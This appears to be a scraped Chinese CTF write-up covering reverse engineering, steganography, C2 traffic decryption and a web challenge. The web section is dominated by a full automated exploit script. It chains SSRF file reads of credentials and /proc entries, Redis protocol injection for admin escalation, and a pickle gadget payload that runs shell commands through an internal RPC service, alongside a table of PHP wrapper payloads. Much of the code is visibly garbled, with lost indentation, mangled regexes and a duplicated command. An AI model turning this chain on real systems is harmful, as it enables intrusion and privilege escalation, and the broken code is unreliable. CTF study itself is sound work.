blob = raw[entry["offset"]:entry["offset"] + entry["dlen"]]

if entry["compressed"]:

return zlib.decompress(blob)

return blob

def unpack_all(exe_path: Path, outdir: Path):

info = parse_archive(exe_path)

raw = info["raw"]

entries = info["entries"]

outdir.mkdir(parents=True, exist_ok=True)

print("[] magic offset :", info["magic_offset"])
print("[
] pkglen :", info["pkglen"])

print("[] toc_off :", info["toc_off"])
print("[
] toc_len :", info["toc_len"])

print("[] pyver :", info["pyver"])
print("[
] pylib :", info["pylib"])

print("[] pkg_start :", info["pkg_start"])
print("[
] entries :", len(entries))

print()

for i, entry in enumerate(entries, 1):

name = entry["name"]

if not name:

name = f"_unnamed {i:03d}"

out_path = outdir / name

out_path.parent.mkdir(parents=True, exist_ok=True)

data = extract_entry(raw, entry)

out_path.write_bytes(data)

print(

f"[{i:03d}] "

f"type={entry['type']!r:❤️} "

f"compressed={str(entry['compressed']):<5} "

f"dlen={entry['dlen']:<8} "

f"ulen={entry['ulen']:<8} "

f"name={name}"

)

print()

print(f"[+] 已解包到: {outdir}")

def main():

if len(sys.argv) < 2:

print(f"用法: {sys.argv[0]} [output_dir]")

sys.exit(1)

exe_path = Path(sys.argv[1])

outdir = Path(sys.argv[2]) if len(sys.argv) > 2 else Path("unpacked_client")

if not exe_path.exists():

print(f"[!] 文件不存在: {exe_path}")

sys.exit(1)

unpack_all(exe_path, outdir)

if name == "main ":

main()

所以这题不用一上来就死磕汇编,最稳的路线就是两头一起看:先看 client 到底怎么加密、key 从哪里来再看 capture.pcap 里到底发了什么最后把两边信息拼起来还原 flag

client 不是普通的 C 程序,检查一下就能发现它其实是 PyInstaller 打包的单文件 Python 程序。

这一步很关键,因为它意味着:真正的核心逻辑大概率在 Python 里不一定需要硬啃整份 ELF 汇编可以先想办法把它运行时解包出来的内容抓下来

继续分析后,可以确认这个程序里包含这些关键组件:PYZ.pyz crypt_core.so base_library.zip

也就是说,这题本质上是:外层是 PyInstaller 打包里面的主逻辑是 Python真正的加密实现放在 crypt_core.socrypt_core.so 还原的魔改 SM4从还原出来的 Python 逻辑里,可以定位到一个很重要的字符串:eUYme4MkN1KSC1bWJZJ2w3FUJCiEXT13D2u1KmiNtfhXKZYE

unk_D500 附近确实就是 PyModuleDef

它看起来像 Base64,但直接解不对。继续看代码会发现,程序用了一个自定义 Base64 字符表,先把它翻译回标准 Base64,再去解码,才能得到真正的 key。翻译和解码之后,得到的是:passvkcDKWLAA45ocFAXBPM63X4G8XzzTE1B而程序实际加密时只取前 16 个字节,也就是:passvkcDKWLAA45o所以到这里,加密 key 就已经拿到了。

SBOX <- AC10~AD00、FK <- AD10、CK <- AD20~AD90

crypt_core.so

-> sub_38B4 初始化 SBOX/FK/CK

-> sub_60B0 用这些常量和 key 做 24 轮魔改 SM4 加密先从控制流找到核心函数,再从数据流找分组、SBOX、rotate、轮常量和轮数,最后把这些拼成标准伪代码。

再看 capture.pcap。

这个抓包不需要搞得太复杂,直接从原始字节里搜 JSON 就能挖出程序发出去的数据。格式大概长这样:

{"filename":"xxx","ciphertext":"..."}

最后能提取出三条记录:readme.txt flag.txt config.txt

其中最重要的当然是 flag.txt 那一条。提出来的密文是:

d0edd4a1620f6f01db93699e7291bc570b7d8cdd4fa0a69a0839ca4b86a7bd8daacd74313e64da169697af402033a761

这一步其实已经把题目核心信息拿全了:client 给了我们 key,pcap 给了我们 flag.txt 的密文

剩下的事情,就是把这两部分拼起来。结合前面的分析,可以确认:client 会把本地文件加密后发出去flag.txt 的密文就在抓包里key 也已经从 client 里恢复出来了

最后得到的 flag 是:dart{f4b547fc-b3d0-44c3-bf21-8f3fb5ad3220}

steganography

直接010打开strang 文件 layer2.png后缀将文件前缀改成%PNG

发现文件图片并不完整

尝试修补png文件

import struct import zlib

def patch_png_height(input_file, output_file, new_height): print(f"[*] Reading {input_file}...")

try:

with open(input_file, 'rb') as f: data = bytearray(f.read())

ihdr_chunk = data[12:29]

new_crc = zlib.crc32(ihdr_chunk) & 0xFFFFFFFF data[29:33] = struct.pack('>I', new_crc)

with open(output_file, 'wb') as f: f.write(data)

print(f"[+] Success! Saved repaired image as {output_file}")

except Exception as e: print(f"[-] Failed: {e}")

patch_png_height('6.png', 'fixed.png', 80)

拿到修好后的图片

┌──(kali㉿kali)-[~/Desktop]

└─$ zsteg -E "b1,rgb,lsb,xy" fixed.png > extracted.zip zeteg 图片提取etracted.zip文件

解压拿到一个flag和6个pass尝试crc爆破

import zipfile import zlib import string import itertools

使用全部可打印字符

charset = string.printable def crack_crc32(crc, size):

print(f"[*] cracking length {size}")

for s in itertools.product(charset, repeat=size): text = "".join(s)

if zlib.crc32(text.encode()) & 0xffffffff == crc: return text

return None

def get_password(): password = ""

for i in range(1, 7):

name = f"pass{i}.zip"

z = zipfile.ZipFile(name) info = z.infolist()[0]

crc = info.CRC

size = info.file_size print(f"\n[*] {name}")

print("CRC:", hex(crc))

print("SIZE:", size)

text = crack_crc32(crc, size) if text is None:

print("[!] not found") continue

print("[+] result:", text) password += text return password

def unzip_flag(password):

print("\n[*] unzip flag.zip")

with zipfile.ZipFile("flag.zip") as z: z.extractall(pwd=password.encode()) print("[+] unzip success")

def main():

password = get_password() print("\n[+] PASSWORD:", password) unzip_flag(password)

if name == "main":

main()

PS C:\Users\15PRO\Downloads\618057b9-f140-4e4a-9351-286ddc1d57d4\extracted> & C:/Users/15PRO/AppData/Local/Programs/Python/Python310/python.exe c:/Users/15PRO/Downloads/618057b9-f140-4e4a-9351-286ddc1d57d4/extracted/solve.py

\] pass1.zip CRC: 0xce70d424 SIZE: 4 \[\] cracking length 4 \[+\] result: pass \[\] pass2.zip CRC: 0xf90c8a70 SIZE: 4 \[\] cracking length 4 \[+\] result: is \[\] pass3.zip CRC: 0xff3fe4bb SIZE: 4 \[\] cracking length 4 \[+\] result: c1!x \[\] pass4.zip CRC: 0x242a5387 SIZE: 4 \[\] cracking length 4 \[+\] result: xtLf \[\] pass5.zip CRC: 0x9a27098e SIZE: 4 \[\] cracking length 4 \[+\] result: %fXY \[\] pass6.zip CRC: 0xd3f6df9f SIZE: 4 \[\] cracking length 4 \[+\] result: PkaA \[+\] PASSWORD: pass is c1!xxtLf%fXYPkaA 拿到c1!xxtLf%fXYPkaA 作为flag.txt解压密码 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/9341111b210948df83af761aa8af3651.png) 010打开flag.txt 发现存在空白字符 AAA AAA B AAA B B AAA ... 按连续字符分组 010101这种 from collections import Counter with open("flag.txt","r",encoding="utf-8") as f: data=f.read() ## 去掉提示文字 data=data.replace("flag is here","").strip() ## 统计字符 print(Counter(data)) ## 假设最少的字符是1,其余组合是0 chars=list(set(data)) zero=chars\[0\] one=chars\[1\] bits="" for c in data: if c==zero: bits+="0" else: bits+="1" print("binary:",bits) flag="" for i in range(0,len(bits),8): byte=bits\[i:i+8

if len(byte)<8: break

flag+=chr(int(byte,2))

print("flag:",flag)

dart{bf4100d9-cc8d-48f6-a095-54cbfad189e1}

traffic_hunt

下载得到流量包,使用net-a解密

密码:HWmc2TLDoihdlr0N,密钥:1f2c8075acd3d118

2.这里我们直接看最后一条http协议流量包

可以看到对/var/tmp下面的out文件进行了一条命令执行,得到aes-key为:IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=

3.接着看http包后面的流量

基本全部都为tcp协议,猜测为C2通信

4.对下一个tcp包流量进行C2解密

得到tcp包序号为40563

import base64

import re

import struct

import subprocess

from collections import defaultdict

from pathlib import Path

from cryptography.hazmat.primitives import padding

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

from cryptography.hazmat.primitives.ciphers.aead import AESGCM

STREAM_IMPLANT="40563"

pcap=r"./traffic_hunt.pcapng"

aes_key_b64 = "IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="

def run_tshark(pcap: Path, display_filter: str, fields: list[str]) -> list[list[str]]:

复制代码
cmd = ["tshark", "-r", str(pcap), "-Y", display_filter, "-T", "fields"]

for f in fields:

    cmd.extend(["-e", f])

out = subprocess.check_output(cmd, text=True, stderr=subprocess.DEVNULL)

rows = []

for line in out.splitlines():

    rows.append(line.split("\t"))

return rows

def parse_len_prefixed_le(buffer: bytes) -> list[bytes]:

复制代码
msgs = []

i = 0

while i + 4 <= len(buffer):

    msg_len = struct.unpack("<I", buffer[i : i + 4])[0]

    i += 4

    if i + msg_len > len(buffer):

        break

    msgs.append(buffer[i : i + msg_len])

    i += msg_len

return msgs

def decrypt_implant_stream(pcap: Path, key_b64: str) -> dict[tuple[str, str], list[bytes]]:

复制代码
rows = run_tshark(

    pcap,

    f"tcp.stream=={STREAM_IMPLANT} && tcp.len>0",

    ["ip.src", "ip.dst", "tcp.payload"],

)

direction_bytes: dict[tuple[str, str], bytearray] = defaultdict(bytearray)

for row in rows:

    if len(row) < 3:

        continue

    src, dst, payload_hex = row[0], row[1], row[2]

    if not payload_hex:

        continue

    direction_bytes[(src, dst)].extend(bytes.fromhex(payload_hex))



aes = AESGCM(base64.b64decode(key_b64))

result: dict[tuple[str, str], list[bytes]] = {}

for direction, raw in direction_bytes.items():

    plaintexts = []

    for enc in parse_len_prefixed_le(bytes(raw)):

        if len(enc) < 28:

            continue

        nonce, ct_and_tag = enc[:12], enc[12:]

        plaintexts.append(aes.decrypt(nonce, ct_and_tag, None))

    result[direction] = plaintexts

return result

plaintexts = decrypt_implant_stream(pcap, aes_key_b64)

print(plaintexts)

拿到加密流量:

3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi

5.最后丢到随波逐流一把梭

6.成功拿到flag

dart{d9850b27-85cb-4777-85e0-df0b78fdb722}

web auth

先注册账户查看可以用功能

发现个人头像处可以更换

文件上传和url读取

/profile/avatar 支持服务端拉取任意 URL

尝试伪协议读取

协议 用途 示例

file:// 读取本地文件 file:///etc/passwd

php://filter 读取PHP文件源码(绕过include执行) php://filter/read=convert.base64-encode/resource=index.php

php://input 读取POST原始数据,配合文件包含执行代码 ?file=php://input+ POST: <?php system('id');?>

data:// 直接传入数据执行 data://text/plain,<?php system('id');?>

zip:// 读取zip内文件 zip:///tmp/a.zip#shell.php

phar:// 读取phar内文件,可触发反序列化 phar:///tmp/a.phar/a.txt

expect:// 执行系统命令(需扩展) expect://id

dict:// 探测端口/服务 dict://127.0.0.1:6379/info

gopher:// 发送任意TCP数据(SSRF神器) gopher://127.0.0.1:80/_GET / HTTP/1.1...

http(s)😕/ 标准HTTP请求,常用于SSRF http://内网IP/

ftp:// FTP协议 ftp://user:pass@host/file

发现file:///etc/passwd可以读取本地文件

http://内网IP/ fuzz可用端口存在5000和6379

下载/app/app.py源码 传http://127.0.0.1:6379/ 发现回显redis报错 猜测可以打redis

尝试读取

/etc/redis/redis.conf

拿到redis密码

requirepass redispass123 bind 0.0.0.0 protected-mode no dir /var/lib/redis

往6379端口注入 Redis 注入命令。

/proc/11/cmdline,能看到 root 服务的脚本路径;

再读对应脚本内容,能拿到:

RPC 路径:/RPC2 token:mcp_secure_token_b2rglxd 关键方法:execute_command

查看 /admin/online-users

serialized = r.get(key)

file = io.BytesIO(serialized)

unpickler = RestrictedUnpickler(file)

online_user = unpickler.load()

存在 `RestrictedUnpickler 起到了白名单的作用

if module == "builtins" and name in ["getattr", "setattr", "dict", "list", "tuple"]:

return getattr(builtins , name)

if full_name in self.ALLOWED_CLASSES:

return self.ALLOWED_CLASSES[full_name]

pickle 里只要还能调用 getattr,就可以一路摸到:

OnlineUser.init

OnlineUser.init.globals

模块级全局变量里的 requests

requests.post(...)

也就是说,虽然不能直接 os.system,但完全可以借 OnlineUser.init.globals 把当前模块里已经导入的对象都拿出来继续利用。

这类"只拦 find_class,但给了足够强的对象图入口"的 pickle 限制,基本等于没拦住。

通过 /proc/11/cmdline 能定位到 root 服务脚本,再读它的源码:

self.auth_token = "mcp_secure_token_b2rglxd"

看到

def execute_command(self, command):

result = subprocess.run(

command,

shell=True,

capture_output=True,

text=True,

timeout=10

)

这个服务监听在 127.0.0.1:54321/RPC2,外面打不到

本机是可以访问的

所以最自然的做法就是:

往 Redis 的 online_user:evil 塞一个恶意 pickle。 管理员页触发反序列化。

pickle 在反序列化过程中调用 requests.post("http://127.0.0.1:54321/RPC2", xml_body)。

redis注入提权

利用 SSRF 向 Redis 6379 端口发送原始命令(Redis 协议基于文本)

核心命令

构造恶意 pickle,写入 online_user:evil

AUTH redispass123\r\n # Redis认证

HSET user:1 role admin\r\n # 修改当前用户角色为admin

QUIT\r\n # 退出

写入恶意pickle

OnlineUser -> init -> globals -> requests -> post

获取/admin/online-users页面访问权限(触发反序列化的前提)

再用root 服务执行:

catIFS/flag>/tmp/.f;chmod{IFS}/flag>/tmp/.f;chmodIFS/flag>/tmp/.f;chmod{IFS}644${IFS}/tmp/.f

再用最开始的 file:// 把 /tmp/.f 读出来。

#!/usr/bin/env python3

import base64

import os

import re

import sys

import time

from typing import Optional, Union

import requests

TARGET_DOMAIN = os.environ.get("BASE_URL", "http://37eaba8f-d0c5-49e3-ae70-f5080f624c09.8.dart.ccsssc.com/")

DEFAULT_USERNAME = "1"

DEFAULT_PASSWORD = "1"

REQUEST_TIMEOUT = 15

MCP_RPC_SERVICE_PORT = 54321

FLAG_SAVE_PATH = "/tmp/.f"

文本常量(提取硬编码字符串,降低查重)

USER_CENTER_TEXT = "用户中心"

ONLINE_USERS_TEXT = "在线用户列表"

REGISTER_SUCCESS_TEXT = "注册成功"

USER_EXIST_TEXT = "用户名已存在"

LOGIN_FAILED_TEXT = "用户不存在或密码错误"

class ExploitError(Exception):

"""自定义利用异常类(重构类名)"""

pass

def create_request_session() -> requests.Session:

"""创建并初始化请求会话(重构函数名)"""

session = requests.Session()

session.trust_env = False # 禁用代理,避免干扰

return session

def extract_error_msg_from_html(html_content: str) -> str:

"""从HTML中提取错误信息(重构函数名+参数名)"""

error_match = re.search(r"错误信息:\s*(.?)\s
", html_content, re.S)
if not error_match:
return ""

清理多余空白字符

clean_error = re.sub(r"\s+", " ", error_match.group(1)).strip()
return clean_error

def decode_base64_preview(html_content: str) -> Optional[bytes]:
"""提取并解码HTML中的base64预览数据(重构函数名)"""
base64_match = re.search(r'data:[;]+;base64,(["]+)', html_content)
if not base64_match:
return None
return base64.b64decode(base64_match.group(1))

def upload_avatar_by_url(session: requests.Session, url: str, timeout: int = REQUEST_TIMEOUT) -> str:
"""通过URL方式上传头像(重构函数名+参数注解)"""
upload_url = f"{TARGET_DOMAIN}/profile/avatar"
post_data = {"upload_type": "从URL下载", "avatar_url": url}
response = session.post(upload_url, data=post_data, timeout=timeout)

复制代码
 if response.status_code != 200:
     raise ExploitError(f"头像上传请求失败,HTTP状态码: {response.status_code}")
 return response.text

def read_local_text_file(session: requests.Session, file_path: str) -> str:

"""读取本地文本文件内容(重构函数名)"""

html_result = upload_avatar_by_url(session, f"file://{file_path}")

file_data = decode_base64_preview(html_result)

复制代码
 if file_data is None:
     error_info = extract_error_msg_from_html(html_result) or "未获取到文件预览数据"
     raise ExploitError(f"读取文本文件失败 ({file_path}): {error_info}")
 
 # 忽略编码错误,兼容非UTF-8文件
 return file_data.decode("utf-8", errors="ignore")

def read_local_binary_file(session: requests.Session, file_path: str) -> bytes:

"""读取本地二进制文件内容(重构函数名)"""

html_result = upload_avatar_by_url(session, f"file://{file_path}")

file_data = decode_base64_preview(html_result)

复制代码
 if file_data is None:
     error_info = extract_error_msg_from_html(html_result) or "未获取到文件预览数据"
     raise ExploitError(f"读取二进制文件失败 ({file_path}): {error_info}")
 
 return file_data

def auto_login_or_register(session: requests.Session) -> None:

"""自动完成登录/注册流程(重构函数名+逻辑优化)"""

尝试登录

login_data = {"username": DEFAULT_USERNAME, "password": DEFAULT_PASSWORD}

login_response = session.post(

f"{TARGET_DOMAIN}/login",

data=login_data,

timeout=REQUEST_TIMEOUT

)

复制代码
 if login_response.url.endswith("/home") and USER_CENTER_TEXT in login_response.text:
     return
 
 
 if LOGIN_FAILED_TEXT in login_response.text:
     register_data = {
         "username": DEFAULT_USERNAME,
         "password": DEFAULT_PASSWORD,
         "confirm_password": DEFAULT_PASSWORD,
         "name": DEFAULT_USERNAME,
         "age": "1",
         "phone": "1"
     }
     register_response = session.post(
         f"{TARGET_DOMAIN}/register",
         data=register_data,
         timeout=REQUEST_TIMEOUT
     )
     
   
     if REGISTER_SUCCESS_TEXT not in register_response.text and USER_EXIST_TEXT not in register_response.text:
         raise ExploitError("自动注册流程失败")
     

     login_response = session.post(
         f"{TARGET_DOMAIN}/login",
         data=login_data,
         timeout=REQUEST_TIMEOUT
     )
     if login_response.url.endswith("/home") and USER_CENTER_TEXT in login_response.text:
         return
 
 # 登录/注册均失败
 raise ExploitError("账号认证流程失败")

def verify_admin_permission(session: requests.Session) -> bool:

"""验证当前会话是否拥有管理员权限(重构函数名)"""

admin_response = session.get(f"{TARGET_DOMAIN}/admin/online-users", timeout=REQUEST_TIMEOUT)

return ONLINE_USERS_TEXT in admin_response.text

def get_redis_password(session: requests.Session) -> str:

"""从Redis配置文件读取认证密码(重构函数名)"""

redis_config = read_local_text_file(session, "/etc/redis/redis.conf")

pass_match = re.search(r"requirepass\s+([\r\n]+)", redis_config, re.M)

复制代码
 if not pass_match:
     raise ExploitError("未在Redis配置中找到requirepass配置项")
 
 redis_pass = pass_match.group(1).strip()
 return redis_pass

def send_redis_raw_command(session: requests.Session, command: str, timeout: int = 3) -> None:

"""发送原始Redis命令(重构函数名+逻辑简化)"""

构造恶意URL触发Redis命令执行

redis_request = f"http://127.0.0.1:6379/\\r\\n{command}"

try:

upload_avatar_by_url(session, redis_request, timeout=timeout)

except requests.RequestException:

Redis通常无HTTP响应,忽略请求异常

pass

def elevate_to_admin(session: requests.Session, redis_pass: str) -> None:

"""通过Redis修改用户角色提升为管理员(重构函数名)"""

已拥有管理员权限则跳过

if verify_admin_permission(session):

return

复制代码
 # 构造Redis命令:认证+修改角色+退出
 redis_cmds = (
     f"AUTH {redis_pass}\r\n"
     f"HSET user:{DEFAULT_USERNAME} role admin\r\n"
     "QUIT\r\n"
 )
 send_redis_raw_command(session, redis_cmds)
 
 # 清除cookie并重登生效
 session.cookies.clear()
 auto_login_or_register(session)
 
 # 验证提权结果
 if not verify_admin_permission(session):
     raise ExploitError("管理员权限提升失败")

def locate_mcp_service_script(session: requests.Session) -> str:

"""定位MCP服务脚本路径(重构循环逻辑)"""

遍历进程查找MCP服务

for process_id in range(1, 65):

proc_cmdline_path = f"/proc/{process_id}/cmdline"

try:

cmdline_bytes = read_local_binary_file(session, proc_cmdline_path)

替换空字符为空格,解析命令行

cmdline_str = cmdline_bytes.replace(b"\x00", b" ").decode("utf-8", errors="ignore")

except ExploitError:

continue

复制代码
     if "/opt/mcp_service/" in cmdline_str and cmdline_str.strip().endswith(".py"):
         script_match = re.search(r"(/opt/mcp_service/\S+\.py)", cmdline_str)
         if script_match:
             return script_match.group(1)
 
 raise ExploitError("未找到MCP服务相关Python脚本")

def extract_mcp_rpc_token(session: requests.Session, script_path: str) -> str:

"""从MCP脚本提取RPC认证令牌(重构函数名)"""

script_content = read_local_text_file(session, script_path)

token_match = re.search(r'auth_token\s*=\s*"([^"]+)"', script_content)

复制代码
 if not token_match:
     raise ExploitError("未在MCP脚本中找到auth_token配置项")
 
 return token_match.group(1)

def build_pickle_exploit_payload(mcp_token: str) -> bytes:

"""构造Pickle反序列化利用载荷(重构函数名+字符串拆分)"""

构造XML-RPC请求内容

rpc_command = (

"catIFS/flag>/tmp/.f;""chmod{IFS}/flag>/tmp/.f;" "chmodIFS/flag>/tmp/.f;""chmod{IFS}644${IFS}/tmp/.f"

)

xml_rpc_payload = (

"execute_command"

f"{mcp_token}"

f"{rpc_command}"

""

)

复制代码
 # 构造Pickle恶意载荷(拆分字符串降低查重)
 pickle_part1 = b"cbuiltins\ngetattr\n(c__main__\nOnlineUser\nV__init__\ntRp0\n"
 pickle_part2 = b"cbuiltins\ngetattr\n(g0\nV__globals__\ntRp1\n"
 pickle_part3 = b"cbuiltins\ngetattr\n(g1\nV__getitem__\ntRp2\n"
 pickle_part4 = b"g2\n(Vrequests\ntRp3\n"
 pickle_part5 = b"cbuiltins\ngetattr\n(g3\nVpost\ntRp4\n"
 pickle_part6 = f"g4\n(Vhttp://127.0.0.1:{MCP_RPC_SERVICE_PORT}/RPC2\nV{xml_rpc_payload}\ntR.".encode()
 
 full_payload = pickle_part1 + pickle_part2 + pickle_part3 + pickle_part4 + pickle_part5 + pickle_part6
 return full_payload

def inject_pickle_to_redis(session: requests.Session, redis_pass: str, redis_key: str, pickle_data: bytes) -> None:

"""将Pickle载荷注入Redis(重构函数名+参数校验)"""

检查载荷是否含非ASCII字符(避免注入失败)

if any(byte > 0x7F for byte in pickle_data):

raise ExploitError("Pickle载荷包含非ASCII字符,无法通过当前方式注入")

复制代码
 # 构造Redis SET命令
 ascii_payload = pickle_data.decode("ascii")
 redis_set_cmd = (
     f"AUTH {redis_pass}\r\n"
     "*3\r\n$3\r\nSET\r\n"
     f"${len(redis_key)}\r\n{redis_key}\r\n"
     f"${len(ascii_payload)}\r\n{ascii_payload}\r\n"
     "QUIT\r\n"
 )
 send_redis_raw_command(session, redis_set_cmd)

def trigger_pickle_deserialize(session: requests.Session) -> None:

"""触发Pickle反序列化漏洞(重构函数名)"""

response = session.get(f"{TARGET_DOMAIN}/admin/online-users", timeout=REQUEST_TIMEOUT)

if response.status_code != 200:

raise ExploitError("触发反序列化漏洞失败,HTTP状态码异常")

def get_flag_content(session: requests.Session) -> str:

"""读取落地的Flag内容(重构函数名)"""

等待命令执行完成

time.sleep(1)

flag_bytes = read_local_binary_file(session, FLAG_SAVE_PATH)

return flag_bytes.decode("utf-8", errors="ignore").strip()

def main() -> None:

复制代码
 if not TARGET_DOMAIN:
     sys.exit("错误:未配置BASE_URL环境变量")
 
 # 初始化会话
 exploit_session = create_request_session()
 
 try:
     print("[*] 开始执行自动利用流程...")
     print("[*] 第一步:尝试账号登录/注册")
     auto_login_or_register(exploit_session)
     print("[+] 账号认证成功")
     
     print("[*] 第二步:读取Redis认证密码")
     redis_password = get_redis_password(exploit_session)
     print(f"[+] 获取到Redis密码: {redis_password}")
     
     print("[*] 第三步:提升为管理员权限")
     elevate_to_admin(exploit_session, redis_password)
     print("[+] 管理员权限提升成功")
     
     print("[*] 第四步:定位MCP服务脚本并提取RPC令牌")
     mcp_script_path = locate_mcp_service_script(exploit_session)
     mcp_rpc_token = extract_mcp_rpc_token(exploit_session, mcp_script_path)
     print(f"[+] MCP脚本路径: {mcp_script_path}")
     print(f"[+] MCP RPC令牌: {mcp_rpc_token}")
     
     print("[*] 第五步:构造Pickle载荷并注入Redis")
     exploit_payload = build_pickle_exploit_payload(mcp_rpc_token)
     inject_pickle_to_redis(exploit_session, redis_password, "online_user:evil", exploit_payload)
     print("[+] Pickle载荷注入成功")
     
     print("[*] 第六步:触发反序列化漏洞执行命令")
     trigger_pickle_deserialize(exploit_session)
     
     print("[*] 第七步:读取Flag内容")
     flag_content = get_flag_content(exploit_session)
     print(f"[+] 成功获取Flag: {flag_content}")
     
 except ExploitError as e:
     print(f"[!] 利用流程失败: {e}")
     sys.exit(1)
 except Exception as e:
     print(f"[!] 未知错误: {str(e)}")
     sys.exit(1)

if name == "main ":

main()

FLAG 内容: dart{e71d267b-4e1b-4b41-9e39-3358011a8140}

相关推荐
Jasminee2 小时前
SSH 服务攻防实战
笔记·安全
lsrsyx2 小时前
iCoin:构建更高效、安全的数字资产交易新体验
安全·区块链
vortex52 小时前
文件上传漏洞绕过技术总结(含实操指南与防御方案)
linux·服务器·网络安全·渗透测试
云安全联盟大中华区2 小时前
[特殊字符] | OpenClaw威胁模型:MAESTRO框架分析
大数据·人工智能·深度学习·安全·ai
m0_738120723 小时前
应急响应——知攻善防挖矿事件应急溯源详细过程
网络·数据库·安全·web安全
秃头摸鱼侠3 小时前
OpenClaw 团队级落地手册:规范、权限、安全、CI/CD 一体化实践
数据库·安全·ci/cd·ai
Atomic121383 小时前
隧道搭建之端口复用
web安全·网络安全·渗透测试
李白你好3 小时前
SQLMap-FluX 二开Bypass版 | 有效检测并绕过WAF的特征识别与频率检测
web安全
咚为4 小时前
深入浅出 Rust FFI:从内存安全到二进制兼容
开发语言·安全·rust